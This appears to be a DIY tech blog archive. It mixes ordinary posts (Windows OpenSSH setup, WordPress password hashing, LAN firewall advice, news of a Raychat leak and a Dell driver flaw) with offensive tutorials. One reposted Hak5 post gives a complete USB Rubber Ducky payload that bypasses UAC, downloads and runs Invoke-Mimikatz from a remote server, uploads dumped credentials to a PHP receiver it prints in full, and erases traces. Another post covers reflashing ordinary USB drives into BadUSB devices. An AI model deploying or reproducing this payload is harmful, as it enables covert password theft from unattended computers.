June 1, 2021by shile_jayDIY

Can a Virus Spread Over a Local Network?

It is absolutely possible for malicious softwares to spread through your LAN to your computer in seconds.

In fact, there have been cases where a malware makes it past one person’s defenses to infect a single machine … and from that machine, move on to infect an entire small business’s network.

In situations like yours, a two-router solution can be a fine approach to protecting your computers. But yes, it can be a little complex to set up, and there are side effects. Fortunately, there are simpler ways to avoid spreading malware.

Some malware travels by network

While most malware these days has to be “invited” in – by downloading and running an infected file, or opening an infected attachment – another, perhaps even older class of malware is still present: the network-based threat.

Network-based malware simply uses your machine’s network connection to probe for other machines on the network, and then attempts to exploit any network-based vulnerabilities on that machine. If successful, the malware can spread from machine to machine simply by using the network connection.

For the most part, these types of malware aren’t as prevalent as they once were. But if you connect directly to the internet without any kind of protection, you can actually see that there are infected machines continually reaching out and probing for other vulnerable machines. These machines – often older, unattended machines that have never been updated or properly secured – are responsible for generating what some refer to as “internet background noise” as they keep plugging away, looking for other vulnerable machines.

Fortunately, protection is simple.

Your router protects you from the world

As I said, the internet is full of infected machines trying to reach any vulnerable machines they can.

Fortunately, your router acts as a firewall to stop them cold. Machines on the internet cannot initiate a connection to a machine on your side of your router; connections can only be made by your computer, outbound.

And that makes all the difference. You only connect to machines you, or the software on your machine, chooses to connect to. By maintaining good behavior and best practices, you know not to connect to machines, servers, or sites that want to infect you with malware.

But what happens when someone slips up? What happens when malware is invited in?

Windows firewall protects you from local machines

It used to be the case that Windows Firewall was something most folks, myself included, recommended you turn off, as long as you were using some other firewall, like your router.

That’s no longer the case, for two reasons.

First, that advice was based on its impact on your system performance. That’s no longer an issue, and Windows Firewall can be left on with negligible effect in almost all cases.

Second, by leaving it on, you’re protected from exactly what brought us here: malware that makes it onto another machine on your local network. Even if an infected machine is sitting right next to yours on the same local network with nothing in between, Windows Firewall is there, rejecting those unsolicited requests.

Your LAN and other machines

Windows firewall protects you from your neighbors

Windows Firewall will also protect your machine from other computers that share the “safe side” of your router, like your family’s. If their computer becomes infected with network-based malware, then your use of the firewall will stop it from reaching your machine.

In fact, that is true if you have any machines on your network that you might not trust, like computers used by children or guests.

In your case, I would recommend that turning on Windows Firewall if it’s not already active on your machine. In fact, on most modern machines I advise turning it on in any case; it doesn’t hurt, and it’s an additional layer of protection.

Don’t forget

I’d be remiss if I didn’t remind you that none of this replaces good internet safety habits. Specifically:

Keep your anti-malware tools running and up-to-date. Network-based threats are only one type of malware. The networking solutions discussed here will not protect you from other forms of malware, such as malicious downloads or attachments.
Be careful sharing files. If you transfer files from one machine to another, you’re bypassing any network protection you have in place. Copying an infected file from your mother’s computer to a USB stick, and then copying that file to your own machine, is a fine way to compromise your own machine without realizing it.

And of course back-up. When bad things happen, restoring to a previous backup is the fastest and most reliable way to remove malware.

May 31, 2021by shile_jayDIY

How To Use SSH Client and Server on Windows 10

Introduction

Secure Shell (ssh) is a standard tool included on most “network” operating systems i.e. Linux, UNIX, MacOS, etc.. In the past Windows required a 3rd party application to get even a usable ssh client. For users who needed to connect securely to the rest of the world with a command line interface PuTTY has been a common addition. After several decades Microsoft finally has a native ssh client AND server on Windows! Both the client and server are standard (and in stable versions) on Windows 10 since the 1809 “October Update”.

For a developer or researcher it’s not unusual to be working with several machines at the same time. Connecting remotely to servers or other workstations in a mixed OS environment is a common need. You can now connect from a Windows 10 system to Linux servers or workstations easily and you can go the other direction too. You can “ssh into” a Windows 10 machine from Linux or other Windows machines. For me personally this kind of connectivity is essential. I may be using 3 or 4 different machine at the same time and I always have several terminal’s open. I typically work with Linux and Windows 10 (locally or remotely) at the same time. The interoperability between Linux and Windows 10 has become very good.

This post is a setup guide and introduction to ssh client and server on Windows 10. I’m doing this partly as a reference for other posts that I’ll be doing where this functionality will be utilized.

Documentation and Links

I am not going to cover much detail about using ssh. If ssh is new to you then note that Microsoft ssh is a native port of the widely used standard OpenSSH client and server. That means that most information about using ssh that you find online will apply even though those sources will likely be references from Linux, UNIX or MacOS. The official documentation for components of OpenSSH is the standard reference. The Windows Server documentation has a section titled “OpenSSH in Windows”

The normal suite of of functions are included with the Windows 10 port,

ssh.exe, which is the SSH client used from the user’s local system
sshd.exe, which is the SSH server that accept connections from other systems
ssh-keygen.exe generates, manages and converts authentication keys for SSH
ssh-agent.exe stores private keys used for public key authentication
ssh-add.exe adds private keys to the list allowed by the server
ssh-keyscan.exe aids in collecting the public SSH host keys from a number of- hosts
sftp.exe is the service that provides the Secure File Transfer Protocol, and- runs over SSH
scp.exe is a file copy utility that runs on SSH

The user applications that you will use most frequently are; ssh (secure shell), for connecting to other systems, and scp (secure copy) for for copying files and directories back and forth with remote systems.

Enable ssh and ssh server on Windows 10

I am using a fresh install of Windows 10 Pro 1903. I have done this on Windows 10 Home too.

The simplest way to setup ssh and ssh server is to use PowerShell. After all you do want to use the command-line, right?

You need administrator privileges to enable services so open Powershell as Administrator, (right click on the Powershell icon in the application menu)

The following command will show you the name and state of OpenSSH on your system,

Get-WindowsCapability -Online | ? Name -like 'OpenSSH*'

You should see something like,

Name : OpenSSH.Client~~~~0.0.1.0
State : Installed

Name : OpenSSH.Server~~~~0.0.1.0
State : NotPresent

That is telling you that the ssh client is installed. (It’s ready to use by default in recent Windows 10 builds.) The server is not setup yet.

Add the OpenSSh server component,

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

That command will download the server component and install it. Output will look like,

Path :
Online : True
RestartNeeded : False

Note: If for some reason your systems showed “NotPresent” for the client too then you would do the same command above but using “OpenSSH.Client~~~~0.0.1.0”

You now have the ssh server installed but it is not running. The next command will start the service,

Start-Service sshd

That will start silently. You can see that it is running with Get-Service,

PS C:Windowssystem32> Get-Service sshd

Status Name DisplayName
------ ---- -----------
Running sshd OpenSSH SSH Server

You could stop it with, you guessed it, “Stop-Service sshd”

Note: the name of the ssh server application is “sshd”. This is a typical naming convention from UNIX. The “d” means “daemon”. Services in Linux/UNIX are called daemons. Now you understand the meaning of the BSD UNIX mascot “Beastie” which you may have seen before.

In order to avoid having to manually start sshd you can do the following to have it start on boot.

Set-Service -Name sshd -StartupType 'Automatic'

The last thing to check is the firewall setting for sshd. It by default uses the port number 22. Enabling the service automatically created the following firewall rules,

PS C:Windowssystem32> Get-NetFirewallRule -Name *ssh*


Name                  : OpenSSH-Server-In-TCP
DisplayName           : OpenSSH SSH Server (sshd)
Description           : Inbound rule for OpenSSH SSH Server (sshd)
DisplayGroup          : OpenSSH Server
Group                 : OpenSSH Server
Enabled               : True
Profile               : Any
Platform              : {}
Direction             : Inbound
Action                : Allow
EdgeTraversalPolicy   : Block
LooseSourceMapping    : False
LocalOnlyMapping      : False
Owner                 :
PrimaryStatus         : OK
Status                : The rule was parsed successfully from the store. (65536)
EnforcementStatus     : NotApplicable
PolicyStoreSource     : PersistentStore
PolicyStoreSourceType : Local

Note: If you enable sshd you are creating an “open port” for port 22. (Otherwise you wouldn’t be able to connect to it.) If your system is exposed to the outside world then that might bother you. You can do things to tighten up security like disallowing passwords and requiring only “public-key” access. I’m not going to cover any of that here. If you are on a private LAN you don’t have too much to worry about, but always be security conscious and use good passwords!

Now that you have the server up and running you should close the Powershell that you were running as Administrator. Start another Powershell as your normal user for the examples below.

Using ssh on Windows 10

Now the fun stuff.

The basic connection command (on any OS) for ssh looks like,

ssh [email protected]

If your user name on the system you are connecting from is the same as your user name on the system you are connecting to, then you can leave out the “[email protected]” part. There are a lot of options for ssh, to dig deeper look at the docs

If you are on a network with “name resolution i.e. DNS” then you can use the name for the machine rather than it’s ip address.

ssh from Windows 10 to Linux

For this example I’ll go through the details you see when connecting to a Linux machine. I’m using Powershell on Windows 10.

The following shows my Powershell command prompt with my user name “JJ”. I’m connecting to one of my Linux systems on a local network. My user name is “rebelX” on that machine.

PS C:Users/JJ> ssh [email protected]

When you first connect to a machine that you haven’t accessed before you will see something like,

The authenticity of host '192.168.3.70 (192.168.3.70)' can't be established.
ECDSA key fingerprint is SHA256:(a bunch of stuff...).
Are you sure you want to continue connecting (yes/no)? yes

Saying “yes” adds a key entry to your “.sshknown_hosts” file. The next time you connect ssh will check that key and will either silently connect or give you a scary message if the key doesn’t match. [A key mismatch can happen if you reinstall the remote system and it still has the same ip address. It will have a new ssh key. To fix that you will need to remove the old key from the “known-hosts” file.]

After your first connection with ssh look in your user directory and you should see a new directory named .ssh There is a lot of configuration options that can be set in various files in that directory but you usually don’t need to do anything in there unless you start doing “public key exchange” for connecting to systems securely without passwords.

Here’s an example Powershell session “ssh-ing” into a Linux system,

PS C:\Users\JJ> ssh [email protected]
The authenticity of host '192.168.3.90 (192.168.3.90)' can't be established.
ECDSA key fingerprint is SHA256:(a bunch of stuff...).
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.3.90' (ECDSA) to the list of known hosts.

[email protected]'s password:
Welcome to Ubuntu 19.04 (GNU/Linux 5.0.0-15-generic x86_64)

...
then a long default login message from Ubuntu...
...

Last login: Tue May 28 09:27:03 2019 from 192.168.3.105

[email protected]:~$ ls
anaconda3  bin  Desktop  Documents  Downloads  Music  Pictures  projects  Public  snap  Templates  tmp  Videos

From there I am securely connected to my Linux system with a command prompt ready for what ever I need to do.

ssh From Linux to Windows 10

Since we have the OpenSSH server running on the Windows 10 system we can ssh into that now too.

You might not think you wouldn’t do that much but I actually do that fairly often. Right now I have 3 Windows 10 machines running and 3 Linux machines including one at a remote location that I am doing testing on. I can connect from any of these machines to any other with ssh. I am writing this post on a Linux machine and I just used the “scp” command (part of the ssh bundle) to copy a directory of screen shots from a Windows 10 machine here. And, I didn’t even have to go near the Windows machine to do that.

Here is a session where I log into my Windows 10 laptop from an Ubuntu 19.04 machine.

When you connect to the ssh server on Windows 10 you are given a CMD shell (the old DOS like shell). From there I started Powershell and then started bash on Ubuntu 18.04 using WSL (Windows Subsystem for Linux). The interoperability between Windows 10 and Linux is getting very good!

[email protected]:~$ ssh [email protected]
[email protected]'s password: 

Microsoft Windows [Version 10.0.17763.529]
(c) 2018 Microsoft Corporation. All rights reserved.

[email protected] C:Users/JJ>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:Users/JJ>

Note: On that laptop I am using a Microsoft account so my password was for that account.

ssh from Windows 10 to Windows 10

This works the same as any other combination of OS’s. From Windows 10 you can use Powershell or CMD to run ssh. [If you have WSL installed you can use that too.] By default when you ssh to a Windows 10 machine you will login to CMD, it doesn’t matter what you use to connect from.

In this example I am connecting to the the Windows 10 machine that I used for the ssh setup testing. I’m connecting from the laptop I connected to in the example above. (I’m not anywhere near that laptop.)

[email protected] C:Users/JJ>ssh [email protected]

Microsoft Windows [Version 10.0.18362.116]
(c) 2019 Microsoft Corporation. All rights reserved.

[email protected] C:\Users\JJ>

No big surprises here, it just works. It’s basically the same connecting from any OS to another. The main difference is the “shell” command that you connect from and the shell you connect to.

scp Secure Copy

One of the most useful tools in the ssh suite is “scp”. This gives you a simple to use encrypted remote copy capability. It uses ssh as a “tunnel” for the copy.

The basic usage of scp for a single file copy to a remote machine is

scp file1  [email protected]:path-to-directory

The important thing to note here is that after “machine-ip” ( : ) is the top level directory of the machine. The path-to-the directory should use the syntax of the machine you are connecting to i.e. for Linux the directory separator is (/) for Windows it’s (). Also, on Linux (~) is shorthand for the login users home directory. Connecting to windows you have to give the full path. And, on Linux when accessing Windows you have to quote (“) the username and path because of the backslashes.

To copy a file from a remote machine to your local machine it’s,

scp  [email protected]:path-to-file(/or)file1 path-to-directory-on-local-machine

You can use dot (.) to indicate the current directory on the local machine.

To copy directories use, -r (recursive)

scp -r director-on-local-machine [email protected]:path-to-directory

scp -r  [email protected]:path-to-remote-directory  path-to-directory

That may be confusing so here are some real examples.

Copy a directory named “ssh-images” from Windows 10 to Linux starting on the Windows machine with Powershell.

PS C:Users/JJ> scp -r ssh-images [email protected]:~/tmp/

That put the ssh-images in “tmp” in my Linux home directory.

Now the same thing but starting from the Linux machine (using dot (.) for the current directory)

scp -r "[email protected]:Users/JJ/.ssh-images" .

Note the full path and quotes.

Conclusions

I hope this guide is helpful to both Windows and Linux users who want better interoperability. I also hope this is encouraging for user who may have never used ssh. I think it’s great how easy it is getting to be to work productively in a mixes OS environment. Microsoft, much to their credit, keeps making Windows more useful for mixed environments. I’m looking forward to the terminal application they will have out soon and to the release of WSL2. With those 2 application in place windows will be nicely interoperable and will be much improved as a solid developers system.

May 16, 2021by shile_jayDIY

How secure is the WordPress password’s algorithm?

When WordPress is installed, a system administrator user is created, whose credentials are saved in the wp-users table of the WordPress database.

If you check into wp-users table, using mysql command line or phpmyadmin, you will see that the plain text password entered for the administrator user has been replaced by a sequence, starting with a 4 character pattern ($P$B), of numbers, letters and random characters.

Saving the user’s password in the database

At the time of user’s registration, the password is combined with a random sequence of 64 characters called “salt” to then be processed by a hashing cryptographic procedure and finally saved in wp-users table along with user’s name and other additional data.

Password verification at login

During login procedure, password entered by the user is combined with the salt stored in the database, then processed by a further hashing procedure and the result is compared with the hash stored in the database.
If the sequences match perfectly, access to system is granted, otherwise it is denied.

Hash type

The hash function is a cryptographic function capable of mapping a random string (character sequence) into a new string of predefined length.

One of the most important peculiarities of this function, is the irreversibility, i.e. the inability to trace the initial string from the final string, unlike the encryption that allows you to trace the initial text through the use of cryptographic keys (public and private).

To produce hash strings, it is necessary to use cryptographic algorithms.
WordPress system uses, since the first versions, the MD5 algorithm (Message Digest 5) invented by Prof. Ronald Rivest of MIT in 1991.

However, today the MD5 algorithm is no longer considered safe, since in 2004 Chinese researchers managed to obtain a “collision” (when different strings produce an identical hash) making the algorithm no longer totally safe.

To strengthen the vulnerabilities of the MD5 algorithm, WordPress developers from version 2.5 (March 2008) onwards, included a password management framework (Portable PHP Password Hashing Framework, developed by Openwall) that uses MD5 algorithm, combined however with a 64 characters salt and a greater number of iterations or rounds (8) during hashing process.

Hash structure analysis

As an example we take the following hash:

$P$BXox1.zpleKOuW4jFS6/Fmg4iaiK.B/

The first 2 characters ($P) are the type of hashing algorithm used (in the case of WordPress it is MD5)

The 3rd and 4th characters ($B) are the number of iterations performed (in the case of WordPress they are 8,192).

Then there is a sequence of 30 characters, of which the first 8 (BXox1.zp) are a random salt and finally the last 22 characters are the hash (leKOuW4jFS6/Fmg4iaiK.B/).

How to further improve password’s security

Today, among the most secure algorithms, there are two algorithms: bcrypt (derived from Blowfish, used by default in Unix-like BSD systems), and Argon2 considered more secure than bcrypt.

In WordPress plugin’s repository, there are a few plugins that allow you to implement more secure algorithms such as bcrypt (Plugin tag: bcrypt)

A recommended plugin is Password Evolved (by developer Carl Alexander).

May 9, 2021by shile_jayDIY

Hack Like Mr. Robot, Own a Computer in 14 Seconds

Can you social engineer your target into plugging in a USB drive? How about distracting ’em for the briefest of moments? 15 seconds of physical access and a USB Rubber Ducky is all it takes to swipe passwords from an unattended PC.

In honor of the USB Rubber Ducky appearance on a recent episode of Mr Robot, we’re recreating this Hollywood hack and showing how easy it is to deploy malware and exfiltrate data using this Hak5 tool.

The USB Rubber Ducky is the original keystroke injection attack tool. That means while it looks like a USB Drive, it acts like a keyboard – typing over 1000 words per minute. Specially crafted payloads like these mimic a trusted user, entering keystrokes into the computer at superhuman speed. Once developed, anyone with social engineering or physical access skills can deploy these payloads with ease. Since computers trust humans, and inherently keyboards, computers trust the USB Rubber Ducky. So let’s go violate this trust…

The payload in question here uses a variant of Mimikatz, a tool by gentilkiwi that can dump cleartext passwords from memory. The Invoke-Mimikatz variant by clymb3r reflectively injects mimikatz into memory using powershell – so mimikatz never touches the computer’s hard disk. Using an altered method by Mubix, the powershell script is pulled directly from your server and executed in memory.

Also Read: 60 Best Rubber Ducky USB Payloads!

Once deployed this payload will open an admin command prompt, bypass UAC, obfuscate input, download and execute Invoke-Mimikatz from your server, then upload the resulting cleartext passwords and other credentials back to your server. When it’s all said and done you’ll go from plug to pwned in about 15 seconds.

What you’ll need

To pull off this attack you’ll need:

Any web server on the Internet with PHP (preferably something mostly anonymous)
A USB Rubber Ducky
This ducky script payload
This Invoke-Mimikatz powershell file
This credential saving PHP script

Step 1: Writing the Payload

USB Rubber Ducky payloads are written in Ducky Script – a ridiculously simple scripting language that can be written in any ordinary text editor, so fire up notepad, vi, emacs or the like.

Initial delay

REM Title: Invoke mimikatz and send creds to remote server
REM Author: Hak5Darren Props: Mubix, Clymb3r, Gentilkiwi
DELAY 1000

The first command, REM, is just a comment. It’s always good practice to comment your code. The second command, DELAY, tells the USB Rubber Ducky to pause for 1000 milliseconds. This delay will give the target computer enough time to recognize the USB Rubber Ducky as a keyboard before it begins typing.

Open administrator command prompt

REM Open an admin command prompt 
GUI r
DELAY 500
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 1000

The above snippet opens an admin command prompt using the powershell Start-Process method. GUI r is equivalent to holding down the Windows key and pressing R, which opens the Windows Run dialog.

The powershell runAs verb starts the process with administrator permissions. This is the same as opening cmd with the Run as administrator option.

Once the powershell command is typed and enter is pressed, a UAC dialog will popup. This is bypassed by holding ALT and pressing Y for Yes. Voila – admin command prompt!

Obfuscate the command prompt

While not necessary, it’s always nice to obfuscate the command prompt as to bring as little attention to the attack as possible. Depending on your scenario this section may or may not be necessary.

REM Obfuscate the command prompt
STRING mode con:cols=18 lines=1
ENTER
STRING color FE
ENTER

The first mode command reduces the command prompt window to as small as possible. The second changes the color scheme to a difficult to read yellow on white. The hope is that the tiny white window will blend in with the rest of the windows on the screen. Thankfully this payload is extremely short, so it’ll only be open for a brief time.

Download and execute the payload

Now with our obfuscated admin command prompt open it’s time to download the Invoke-Mimikatz payload into memory, execute it, and pass the resulting credentials back to our server.

REM Download and execute Invoke Mimikatz then upload the results
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://darren.kitchen/im.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://darren.kitchen/rx.php', $output)"
ENTER
DELAY 15000

The powershell IEX or Invoke Expression directive tells it to execute everything following rather than just echoing it back to the command line. The New-Object cmdlet creates an instance of the Microsoft .NET Framework. Using the WebClient class we can now send and receive data from standard web servers.

The DownloadString method downloads the resource, specified as a URL, as a string. In this case it’s the Invoke-Mimikatz powershell script hosted on our web server. This is then executed with the -DumpCreds parameter. The resulting passwords and other credentials are saved in memory in the $output variable.

Finally the UploadString method uploads the credentials, stored in the $output variable, to the URL specified. In this case it’s a PHP receiver script sitting on our web server ready to store the creds for our viewing pleasure.

In this example I’m using my own web server at darren.kitchen, so be sure to change this to match the URL of your own.

Clearing your tracks

Once the Invoke-Mimikatz payload has executed and you’ve captured the credentials, you’ll want to clear your tracks. Since cmd doesn’t maintain a persistent command history, everything typed in the command prompt will be gone after the exit command is issued. The Run dialog on the other hand maintains a list of recently used commands in the Windows registry. Let’s clear it.

REM Clear the Run history and exit
STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
ENTER
STRING exit
ENTER

The Remove-ItemProperty cmdlet deletes items from the Windows registry. In this case the asterisk (*) wildcard is used to delete all items in the RunMRU path. Finally exit closes our tiny command prompt window.

That’s it – ducky script complete! Download a copy here and be sure to change the URL to that of your own web server.

Step 2: Encoding the Payload

Now that the invoke-mimikatz.txt ducky script has been customized with your web server URL, you’re ready to encode it. The USB Rubber Ducky is expecting an inject.bin file on the root of its microSD card. This file is the binary equivalent of the ducky script text file written in the previous step. To convert the ducky script text file into an inject.bin binary, use the Duck Encoder.

java -jar duckencode.jar -i invoke-mimikatz.txt -o inject.bin

The above command tell the duck encoder to take the input file, the invoke-mimikatz.txt ducky script, and convert it into the binary output file, the inject.bin. Then it’s just a matter of copying the inject.bin file to the root of a microSD card and plugging it into the USB Rubber Ducky.

Step 3: Setting up the Web Server

You’ll need a web server to host the Invoke-Mimikatz powershell script, as well as a way to receive the credentials. This PHP script will save any post data into individually time and date stamped .cred files including the host IP address. It goes without saying that HTTPS would be preferred in this instance. See the Hak5 Let’s Encrypt tutorial on setting up SSL on your web server for free.

<?php
$file = $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds";
file_put_contents($file, file_get_contents("php://input"));
?>

In addition to the rx.php script to receive the HTTP post data from the target PC, you’ll need to host the Invoke-Mimikatz powershell script. You can grab the latest version here and save it to your web server.

Step 4: Deploying the Attack

Finally with your web server hosting the Invoke-Mimikatz script and PHP credential receiver you’re ready to rock and roll! Pop the USB Rubber Ducky into its covert USB Drive case and head out on your next physical engagement armed with this 15 second password nabbing payload!

Source: hak5

May 9, 2021by shile_jayDIY

150 Million Users Records From Iranian Raychat App Leaked Online

Hackers leaked the 150 million users personal data and records online, of a popular Iranian social and business messaging app; Raychat.

The database was first exposed on a popular Russian hacker forum around 7:20 AM, Monday, May 3, 2021. It was not clear whether the Raychat app had these records stolen from its servers or it was a result of a previous data leak that took place as a result of the misconfigured database identified by IT security researchers Bob Diachenko on January 31st, 2021.

Diachenko tweeted a series of tweets regarding the Raychat app. He stated that the Raychat app exposed its entire database on a misconfigured server. The database consisted of more than 267 million accounts with data like names, emails, passwords, metadata, encrypted chats, etc, reported by the researcher. He also stated that he had not been responded to by the company on which an Iranian Twitter user responded to Diachenko.

He posted a screenshot of a tweet from the Raychat app in which they confirmed that there is no data has been leaked.

They claim no data has been lost or leaked.

do you have proof/resource? kindly send me those datahttps://t.co/cViqSZoJsa

— Mohammad Shadmani (@themshday) January 31, 2021

A prominent hacker forum, Raid Forum a threat actor claimed to leaked the data. He said they downloaded the data before it was removed out by the meow attack. The data seems authentic and millions of Iranians private information had been posted online.

The leaked data includes;

Names
IP Addresses
Email Addresses
Bcrypt Passwords
Telegram messenger IDs, Etc

This is not the first and apparently not even the last time that Iranians have been a victim of a cyberattack. This has happened in the past too. In April 2019, a database, of the Snapp app (Iranian Uber) leaked “astonishingly sensitive information” of millions of users on an insecure MongoDB server.

In April 2020, 52,000 Iranian ID cards were sold on the dark web and later leaked on the normal web, that too with selfies. The personal details and phone numbers of 42 million Iranians sold on a hacking forum in March 2020. So you see Iranians and web attacks go side by side.

As for the victims, it’s now time to be more careful. Watch out for phishing attacks through emails. Do not click on the links either in messages or in email as that could be a scam. They could further invade your privacy by hacking your phone. And you don’t want that right.

May 9, 2021by shile_jayDIY

Millions of Dell Users at Risk from Kernel-Privilege Vulnerabilities

Dell devices are being affected by the Five high-severity security flaws which are there in Dell’s firmware update driver. These devices include Dell desktops, laptops, notebooks, and tablets, researchers said. And they are impacting hundreds of millions of devices. These bugs remained unseen for a pretty long time of 12 years.

According to SentinelLabs, they have the ability to pass security restrictions. With that, they can also accomplish codes and revolve to other parts of the network for lateral movement or for causing more malicious effects.

SentinelLabs researchers posted a blog on Tuesday and addressed this situation regarding dell issues. It was further reported that the multiple local privilege escalation (LPE) bugs are present in the firmware update driver version 2.3 (dbutil_2_3.sys) module. It is in use since 2009. The driver component deals with the Dell firmware updates. It happened through the Dell BIOS Utility. It come already installed in Dell devices running windows.

The post further said;

“Hundreds of millions of Dell devices have updates pushed on a regular basis, for both consumer and enterprise systems;”

These five vulnerabilities are CVE-2021-21551, and they have a CVSS vulnerability-severity rating of 8.8 out of 10. Researchers reported that these vulnerabilities have the ability to allow attackers to escalate non-administrator users to having root privileges.

According to SentinelLabs researchers they have been working on a proof-of-concept (PoC) exploit to explain the vulnerability in action until June 1. They mention however they didn’t break down some general issues with the driver.

“The first and most immediate problem with the firmware update driver arises out of the fact that it accepts input/output control (IOCTL) requests without any [access-control list] ACL requirements,” according to the posting. “That means that it can be invoked by a non-privileged user. Allowing any process to communicate with your driver is often a bad practice since drivers operate with the highest of privileges.”

The five vulnerabilities are:

LPE No. 1, due to memory corruption
LPE No 2, also due to memory corruption
LPE No. 3, due to a lack of input validation
LPE No. 4, also due to a lack of input validation
Denial of service flaw, due to a code-logic issue

ACLs are a set of permit-and-deny regulations and rules that are set out to ensure security through blocking unauthorized users and permitting authorized users to have an access to specific resources. For example;
An illustration with IOCTL 0x9B0C1EC8. It is possible to completely control the arguments passed to the “memmove” function by using this request. It permits the copying of memory blocks. Which ultimately results, in turn, leads to an arbitrary read/write vulnerability.

They further clarified;

“A classic exploitation technique for this vulnerability would be to overwrite the values of ‘present’ and ‘enabled’ in the token-privilege member inside the EPROCESS of the process whose privileges we want to escalate,”

EPROCESS behaves as the process object for a provided routine. SentinelLabs also highlighted the issue in the driver that’s at the heart of LPEs No. 3 and 4: It’s possible to run in/out (I/O) instructions in kernel mode with arbitrary operands, the instructions specify the data manipulation or operation.

Through the successful exploitation hackers could peripheral devices such as the hard disk drive (HDD) or and GPU to either read/write directly to the disk or invoke direct memory access (DMA), which is for reading and writing physical memory operations.

They explained;

“This is less trivial to exploit and might require using various creative techniques to achieve elevation of privileges. For example, we could communicate with ATA port IO for directly writing to the disk, then overwrite a binary that is loaded by a privileged process.”

There is also a third problem that is not related to IOCTL handler bugs. The driver file itself is located in C:\Windows\Temp, which opens the door to other issues. The posting clarified;

“The classic way to exploit this would be to transform any bring-your-own vulnerable driver (BYOVD) into an elevation-of-privileges vulnerability since loading a (vulnerable) driver means you require administrator privileges, which essentially eliminates the need for a vulnerability, Thus, using this side-noted vulnerability virtually means you can take any BYOVD to an elevation of privileges.”

Dell has issued patches, available in Dell Security Advisory DSA-2021-088. However, SentinelLabs noted a potential issue. The impact this could have on users and enterprises that fail to patch is “far-reaching and significant,” according to the analysis, although so far no in-the-wild exploits have shown up.

However, it is hoped that this would change. The researchers said;

“With hundreds of millions of enterprises and users currently vulnerable, it is inevitable that attackers will seek out those that do not take the appropriate action.”

May 9, 2021by shile_jayDIY

60 Best Rubber Ducky USB Payloads!

The programming language, dubbed DuckyScript, is a simple instruction-based interface to creating a customized payload. However, it runs independently from the microcontroller that installs the drivers to the machine. On some older models running Windows XP, the device took upwards of 60 seconds to install the drivers. On newer machines running Windows 7, it took anywhere from 10-30. And if the drivers take longer to install than the delay you put at the beginning of your payload, it will begin firing off anyways.

There is a firmware release you can flash onto your Ducky that will additionally act as a USB flash drive where executable binaries can be hosted. In this case, it would be significantly faster to open the drive and load the file into memory. The benefits to this include

the ability to potentially avoid dropping any files to the machine
quicker than remotely retrieving a payload
no internet connectivity required for additional payload

but remotely retrieving a payload is a viable method if you absolutely have to do it that way.

Don’t Forget: Find Your Open Ports in Order to Close Them in Windows/Mac/Linux

In short, it is a very promising and effective tool, but seriously lacks versatility. In some machines it may take 5 seconds to load the drivers, in others maybe longer than 60. Then you have to account for how long it will take to deliver your payload in accordance to how fast the machine can handle keystrokes. This becomes a huge bummer during official penetration testing scenarios where you are required to enter the office physically, because the variety of machine setups can be drastically different. Otherwise, exactly what it says on the tin: emulates a keyboard and mouse set up to deliver instructions.

How to Make Your Own USB Rubber Ducky Using a Normal USB?

May 9, 2021by shile_jayDIY

How to Make Your Own USB Rubber Ducky Using a Normal USB?

Ever Wonder to make your own Rubber Ducky? I don’t want to be competitive against the Hakshop. First, if you wanted to purchase original USB Rubber Ducky from them, cause it’s truly made straightforward for faster-executing programs. It would be better and faster for executing or writing the payloads.

Yet, If you wanted to make your own particular USB Rubber Ducky?

Windows (Operating System)
USB 3.0 Flash Drive

60 Best Rubber Ducky USB Payloads!

Supported Flash Drives:

Patriot 8GB Supersonic Xpress* ( Almost all now are 2307 on Amazon [bought 9 from all 9 sellers] )
Kingston DataTraveler 3.0 T111 8GB
Silicon power marvel M60 64GB
Patriot Stellar 64 Gb Phison
Toshiba TransMemory-MX USB 3.0 16GB (May ship with 2307)
Toshiba TransMemory-MX USB 3.0 8GB (May ship with 2307)
Kingston DataTraveler G4 64 GB
Patriot PSF16GXPUSB Supersonic Xpress 16GB
Silicon Power 32GB Blaze B30 (SP032GBUF3B30V1K)
Kingston Digital 8GB USB 3.0 DataTraveler (DT100G3/8GB)* – Using PS2251-03 (By the way, the DriveCom.exe does not work for it, you need use Phison MPALL Tools to burn the firmware.)
Verbatim STORE N GO 32GB USB 3.0
Verbatim STORE N GO V3 8GB USB 3.0 (May ship with 2307)

Make Your Own USB Rubber Ducky

Determining the Microcontroller of Our USB Flash Drive:

Before beginning, we need to ensure our USB utilizes the supported controller. We can utilize a program called Flash Drive Information Extractor to assemble the required data about our USB.

Simply open the tool and hit the “Get USB Flash Drive Information” catch while you have your USB embedded into your PC. On the off chance that your drive utilizes the Phison 2303 (2251-03) controller, the yield ought to appear to be like this:

In any case, if your USB gadget has an alternate one, it is no doubt that you can’t reinvent it to a HID gadget with this adventure. Make a point to check the known bolstered gadgets so as to get one that will work.

Keeping in mind the end goal to change our upheld USB drive, we have to manufacture the apparatuses which interface with it. The source code is distributed on GitHub by Adam Caudill. Really, Visual Studio accompanies a flawless component that gives us a chance to clone the entire archive. You can even connect with VS from the GitHub site:

After cloning and opening the repostitory. You are most likely to see three solutions.

DriveCom
EmbedPayload
Injector

We will need DriveCom and EmbedPayload only. If opened, you can compile with Ctrl + Shift + B or Menu bar – Build – Build Solution.

If you cannot clone the repository through Visual Studio, download the .zip file from GitHub and open the .sln files in each folder of the solutions. DriveCom and EmbedPayload should be in the …\Psychson\tools directory now: E:\Documents\Bad_USB\Psychson\tools.

Burner Image

A “burner image” is required for dumping and flashing firmware on your drive. These are typically named using the convention “BNxxVyyyz.BIN”. Burner images for Phison controllers can be found here. Even though the site is only available in Russian, you will find the download link if you scan the site for “BN03.” BN implies burner image, and 03 corresponds to PS2251-03. I extracted the files in E:\Documents\BadUSB\Burner_Image\.

Every burner image should do the job, but you can use the newest version which is indicated by the “Vyyy” part of the name.

Download Duck Encoder

